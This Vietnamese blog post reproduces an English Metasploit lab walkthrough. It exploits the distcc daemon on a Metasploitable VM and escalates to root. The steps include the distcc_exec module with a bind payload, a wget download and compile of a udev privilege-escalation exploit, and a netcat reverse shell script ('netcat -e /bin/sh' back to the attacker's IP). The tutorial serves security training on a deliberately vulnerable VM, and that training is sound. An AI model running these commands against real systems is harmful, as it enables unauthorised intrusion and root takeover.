Thứ Tư, 20 tháng 11, 2013

Bài Thực Hành Metasploit Framework Lesson 8 : Exploiting the distcc daemon to obtain root

  1. Metasploitable 
  2. Pre-Requisite Lab
  3. What is distcc
    • distcc is designed to speed up compilation by taking advantage of unused processing power on other computers. A machine with distcc installed can send code to be compiled across the network to a computer which has the distccd daemon and a compatible compiler installed.
  4. Exploit CVE 2004-2687
    • distcc 2.x, as used in XCode 1.5 and others, when not configured to restrict access to the server port, allows remote attackers to execute arbitrary commands via compilation jobs, which are executed by the server without authorization checks.
    • http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2687
  5. Exploit CVE 2009-1185
  6. Lab Notes
    • In this lab we will do the following:
      1. Run an intense NMAP Scan on the Metasploitable VM
      2. Search for the distcc daemon
      3. Use Metasploit to exploit the distcc daemon
      4. Use exploit (http://www.exploit-db.com/download/8572) to escalate the privilege of the daemon user to root.
  7. Legal Disclaimer  : bài lab tham khảo.

Section 1. Start Up the Metasploitable VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer
  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine
  3. Open the Metasploitable VM
    • Instructions:
      1. Navigate to where the Metasploitable VM is located
      2. Click on on the Metasploitable VM
      3. Click on the Open Button
  4. Edit the Metasploitable VM
    • Instructions:
      1. Select Metasploitable2-Linux VM
      2. Click Edit virtual machine settings
  5. Edit the Metasploitable VM
    • Instructions:
      1. Click on "Network Adapter NAT"
      2. Select the radio button "Bridged: Connected directly to the physical network"
      3. Click on the OK button
    • Warning:
      • By changing from NAT to Bridged opens the VM and network up to potential attacks.
      • To maintain a safe network, you could (1) skip this section and only use the host-only network, (2) unplug your router from the internet, (3) use an ACL to not allow traffic into your network, etc.
  6. Play the Metasploitable VM
    • Instructions:
      1. Click on the Metasploitable VM
      2. Click on Play virtual machine

Section 2. Determine Metasploitable IP Address
  1. Logging into Metasploitable
    • Instructions
      1. Username: msfadmin
      2. Password: msfadmin or whatever you changed it to in lesson 1.
  2. Change the msfadmin password
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • This is the IP Address of the Victim Machine.
      • My IP Address is 192.168.1.112.
      • Record your IP Address.

Section 4. Start Up the BackTrack5R1 VM
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer
  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine
  3. Open the BackTrack5R1 VM
    • Instructions:
      1. Navigate to where the BackTrack5R1 VM is located
      2. Click on on the BackTrack5R1 VM
      3. Click on the Open Button
  4. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings
  5. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button
  6. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine
  7. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.
  8. Bring up the GNOME
    • Instructions:
      1. Type startx
  9. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window
  10. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.108.
      • In your case, it will probably be different.
      • This is the machine that will be use to attack the victim machine (Metasploitable).

Section 5. Scanning the Victim with NMAP
  1. Run Intense NMAP Scan on the Metasploitable VM
    • Instructions:
      1. Obtain your Metasploitable IP address from (Section 2, Step 2)
      2. In the following step, replace 192.168.1.112 with your Metasploitable IP address.
      3. nmap -p 1-65535 -T4 -A -v 192.168.1.112 2>&1 | tee /var/tmp/scan.txt
    • Note(FYI):
      • This intense NMAP scan could take 3 to 5 minutes to run.
  2. Looking for distccd
    • Instructions:
      1. grep 3632 /var/tmp/scan.txt
    • Note(FYI):
      • distccd usually runs on port 3632.

Section 6. Attacking the Victim with Metasploit
  1. Start Up Metasploit msfconsole
    • Instructions:
      1. Applications --> Exploitation Tools --> Network Exploitation Tools --> Metasploit Framework --> msfconsole.
    • Note(FYI):
      • Metasploit takes about 5 to 20 seconds to start up.
  2. msfconsole screen
    • Note(FYI):
      • This is the msfconsole
      • Your picture (Rabbit, Cow, Graffit, Cyber Missle, etc) will probably be different than mine.
  3. Choose Metasploit Module
    • Instructions:
      1. search distcc
      2. use exploit/unix/misc/distcc_exec
    • Note(FYI):
      • This the name of the exploit that will be used to attack the DistCC Daemon Command.
  4. Choose Metasploit Payloads
    • Instructions:
      1. show payloads
      2. set payload cmd/unix/bind_ruby
    • Note(FYI):
      • A payload is the piece of software that lets you control a computer system after it�s been exploited. The payload is typically attached to and delivered by the exploit. Just imagine an exploit that carries the payload in its backpack when it breaks into the system and then leaves the backpack there.
  5. Show Metasploit Options
    • Note(FYI):
      • Replace 192.168.1.112 with the Metasploitable IP Address obtained from (Section 2, Step 2).
    • Instructions:
      1. show options
      2. set RHOST 192.168.112
  6. Metasploit Exploit to gain online access
    • Note(FYI):
      • Once the exploit command is executed, the following commands will actually be run on the Metasploitable VM: hostname, ifconfig eth0, and whoami.
    • Instructions:
      1. exploit
      2. hostname
      3. ifconfig eth0
      4. whoami
        • Notice the user is daemon.
  7. Download and Compile Privileged Escalation
    • Note(FYI):
      • Now we are going to download a privileged escalation exploit for distcc to escalate the privilege from user daemon to root.
    • Instructions:
      1. wget http://www.exploit-db.com/download/8572 -O exploit-8572.c
      2. gcc exploit-8572.c -o exploit-8572
      3. ls -l
  8. Create and Resize Terminal Windows
    • Note(FYI):
      • Now we are going to download a privileged escalation exploit for distcc to escalate the privilege from user daemon to root.
    • Instructions:
      1. Resize Previous Metasploit Terminal to consume the upper half of your screen.
      2. Click on the terminal icon to create a new window.
      3. Resize the newly created Terminal to consume the lower half of your screen.
  9. Create a Netcat Session
    • Note(FYI):
      • Now we are going to create a netcat session in the newly created terminal window listening on port 4444.
      • Netcat is a computer networking service for reading from and writing network connections using TCP or UDP.
      • Netcat is often referred to as a "Swiss-army knife for TCP/IP".
    • Instructions:
      1. netcat -vlp 4444
  10. Create a Netcat Session
    • Note(FYI):
      • The following commands will be placed in the upper terminal window.
      • In Step 10.2, replace 192.168.1.108 with BackTrack's IP address obtain in (Section 4, Step 10).
      • Remember to subtract 1 from the process ID (PID) number from Step 10.3
    • Instructions:
      1. echo '#!/bin/sh' > /tmp/run
      2. echo '/bin/netcat -e /bin/sh 192.168.1.108 4444' >> /tmp/run
      3. ps -eaf | grep udev | grep -v grep
      4. ./exploit-8572 2763
  11. Test the Privileged Escalation Exploit
    • Note(FYI):
      • The following commands will be placed in the lower terminal window.
      • Notice that the whoami command identifies you as the root user.
    • Instructions:
      1. whoami

Section 7. Basic System Network Forensics
  1. Become Root on the metasploitable VM
    • Note(FYI):
      • The following commands will be ran on the Metasploitable VM.
    • Instructions:
      1. sudo su -
      2. Supply your msfadmin password
  2. Piecing Together Network Connections and Process IDs
    • Note(FYI):
      • Pay attention to the below picture when grepping.
    • Instructions:
      1. netstat -naop | grep 4444
      2. ps -eaf | grep 7382 | grep -v grep
        • Use your PID associated with Ruby
      3. ps -eaf | grep 7624 | grep -v grep
        • Use your PID associated with sh.
      4. ps -eaf | grep 7623 | grep -v grep
        • Use the child PID contained in the sh grep results.
Section 8. Proof of Lab
  1. Proof of Lab
    • Note(FYI):
      • The following commands will be placed in the lower terminal window.
    • Proof of Lab Instructions
      1. date
      2. echo "Your Name"
        • Replace the string "Your Name" with your actual name.
        • e.g., echo "John Gray"
      3. Press the <Ctrl> and <Alt> key at the same time.
      4. Press the <PrtScn> key.
      5. Paste into a word document
      6. Upload to website Www.AnToanThongTin.Edu.Vn





  

Không có nhận xét nào:

Đăng nhận xét